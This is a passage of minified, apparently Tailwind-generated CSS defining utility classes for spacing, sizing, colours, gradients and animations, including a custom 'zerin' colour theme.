2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\]{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/40{border-color:#10b98166}.border-orange-500\/20{border-color:#f9731633}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500{--tw-bg-opacity: 1;background-color:rgb(249 115 22 / var(--tw-bg-opacity, 1))}.bg-orange-500\/10{background-color:#f973161a}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-2\.5{padding:.625rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe 